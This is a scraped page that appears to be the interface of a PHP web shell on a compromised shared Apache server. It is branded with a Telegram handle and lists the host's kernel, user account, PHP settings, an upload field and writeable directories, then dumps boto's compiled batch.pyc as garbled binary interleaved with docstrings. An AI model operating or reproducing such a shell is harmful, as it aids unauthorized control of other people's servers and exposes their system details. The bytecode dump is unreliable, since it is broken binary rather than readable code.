https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/boto/dynamodb/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/boto/dynamodb/__pycache__/batch.cpython-310.pyc
o

ckF[R&�@sPddlmZGdd�de�ZGdd�de�ZGdd�de�ZGdd	�d	e�Zd
S)�)�sixc@s&eZdZdZ		ddd�Zdd�ZdS)	�Batcha	
    Used to construct a BatchGet request.

    :ivar table: The Table object from which the item is retrieved.

    :ivar keys: A list of scalar or tuple values.  Each element in the
        list represents one Item to retrieve.  If the schema for the
        table has both a HashKey and a RangeKey, each element in the
        list should be a tuple consisting of (hash_key, range_key).  If
        the schema for the table contains only a HashKey, each element
        in the list should be a scalar value of the appropriate type
        for the table schema. NOTE: The maximum number of items that
        can be retrieved for a single operation is 100. Also, the
        number of items retrieved is constrained by a 1 MB size limit.

    :ivar attributes_to_get: A list of attribute names.
        If supplied, only the specified attribute names will
        be returned.  Otherwise, all attributes will be returned.

    :ivar consistent_read: Specify whether or not to use a
        consistent read. Defaults to False.

    NFcCs||_||_||_||_dS�N)�table�keys�attributes_to_get�consistent_read��selfrrrr�r�5/usr/lib/python3/dist-packages/boto/dynamodb/batch.py�__init__3s
zBatch.__init__cCs�i}g}|jD] }t|t�r|\}}n|}d}|jj�|jj||�}|�|�q||d<|jr4|j|d<|j	r=d|d<|Sd|d<|S)�O
        Convert the Batch object into the format required for Layer1.
        N�Keys�AttributesToGetT�ConsistentReadF)
r�
isinstance�tupler�layer2�build_key_from_values�schema�appendrr)r
�
batch_dict�key_list�key�hash_key�	range_key�krrr�to_dict:s&


�
�z
Batch.to_dict�NF��__name__�
__module__�__qualname__�__doc__r
rrrrrrs
�rc@s"eZdZdZddd�Zdd�ZdS)�
BatchWritea
    Used to construct a BatchWrite request.  Each BatchWrite object
    represents a collection of PutItem and DeleteItem requests for
    a single Table.

    :ivar table: The Table object from which the item is retrieved.

    :ivar puts: A list of :class:`boto.dynamodb.item.Item` objects
        that you want to write to DynamoDB.

    :ivar deletes: A list of scalar or tuple values.  Each element in the
        list represents one Item to delete.  If the schema for the
        table has both a HashKey and a RangeKey, each element in the
        list should be a tuple consisting of (hash_key, range_key).  If
        the schema for the table contains only a HashKey, each element
        in the list should be a scalar value of the appropriate type
        for the table schema.
    NcCs||_|pg|_|pg|_dSr)r�puts�deletes�r
rr&r'rrrr
gs
zBatchWrite.__init__cCs�g}|jD]}d|jj�|�i}d|i}|�|�q|jD]&}t|t�r)|\}}n|}d}|jj�|jj	||�}d|i}|�d|i�q|jj
|fS)r�Item�
PutRequestN�Key�
DeleteRequest)r&rr�
dynamize_itemrr'rrrr�name)r
�op_list�item�drrrrrrrrls 



�zBatchWrite.to_dict�NNr rrrrr%Ss
r%c@s>eZdZdZdd�Z		ddd�Zdd	�Zd
d�Zdd
�ZdS)�	BatchListzs
    A subclass of a list object that contains a collection of
    :class:`boto.dynamodb.batch.Batch` objects.
    cCst�|�d|_||_dSr)�listr
�unprocessedr�r
rrrrr
�s

zBatchList.__init__NFcCs|�t||||��dS)aO
        Add a Batch to this BatchList.

        :type table: :class:`boto.dynamodb.table.Table`
        :param table: The Table object in which the items are contained.

        :type keys: list
        :param keys: A list of scalar or tuple values.  Each element in the
            list represents one Item to retrieve.  If the schema for the
            table has both a HashKey and a RangeKey, each element in the
            list should be a tuple consisting of (hash_key, range_key).  If
            the schema for the table contains only a HashKey, each element
            in the list should be a scalar value of the appropriate type
            for the table schema. NOTE: The maximum number of items that
            can be retrieved for a single operation is 100. Also, the
            number of items retrieved is constrained by a 1 MB size limit.

        :type attributes_to_get: list
        :param attributes_to_get: A list of attribute names.
            If supplied, only the specified attribute names will
            be returned.  Otherwise, all attributes will be returned.
        N)rrr	rrr�	add_batch�szBatchList.add_batchc
Cs�|dd�=|js
dSt�|j�D]<\}}|d}|j�|�}g}|D]}|d}d}d|vr2|d}|�||f�q"d}	d|vrD|d}	|j|||	d�q|��S)a
        Resubmit the batch to get the next result set. The request object is
        rebuild from scratch meaning that all batch added between ``submit``
        and ``resubmit`` will be lost.

        Note: This method is experimental and subject to changes in future releases
        Nr�HashKeyElement�RangeKeyElementr)r)r5r�	iteritemsr�	get_tablerr7�submit)
r
�
table_name�	table_req�
table_keysrrr�h�rrrrr�resubmit�s$
zBatchList.resubmitcCs"|j�|�}d|vr|d|_|S)N�UnprocessedKeys)r�batch_get_itemr5)r
�resrrrr<�s
zBatchList.submitcCs.i}|D]}|��}|dr|||jj<q|S)zM
        Convert a BatchList object into format required for Layer1.
        r)rrr.)r
r1�batch�brrrr�s�zBatchList.to_dictr)	r!r"r#r$r
r7rBr<rrrrrr3�s
�!r3c@s2eZdZdZdd�Zddd�Zdd�Zd	d
�ZdS)�BatchWriteListzx
    A subclass of a list object that contains a collection of
    :class:`boto.dynamodb.batch.BatchWrite` objects.
    cCst�|�||_dSr)r4r
rr6rrrr
�s

zBatchWriteList.__init__NcCs|�t|||��dS)aW
        Add a BatchWrite to this BatchWriteList.

        :type table: :class:`boto.dynamodb.table.Table`
        :param table: The Table object in which the items are contained.

        :type puts: list of :class:`boto.dynamodb.item.Item` objects
        :param puts: A list of items that you want to write to DynamoDB.

        :type deletes: A list
        :param deletes: A list of scalar or tuple values.  Each element
            in the list represents one Item to delete.  If the schema
            for the table has both a HashKey and a RangeKey, each
            element in the list should be a tuple consisting of
            (hash_key, range_key).  If the schema for the table
            contains only a HashKey, each element in the list should
            be a scalar value of the appropriate type for the table
            schema.
        N)rr%r(rrrr7�szBatchWriteList.add_batchcCs|j�|�Sr)r�batch_write_item)r
rrrr<�szBatchWriteList.submitcCs&i}|D]}|��\}}|||<q|S)zR
        Convert a BatchWriteList object into format required for Layer1.
        )r)r
r1rFr=rrrrr�s

zBatchWriteList.to_dictr2)r!r"r#r$r
r7r<rrrrrrH�s
rHN)�boto.compatr�objectrr%r4r3rHrrrr�<module>s
9/X

https://t.me/RX1948 - 2025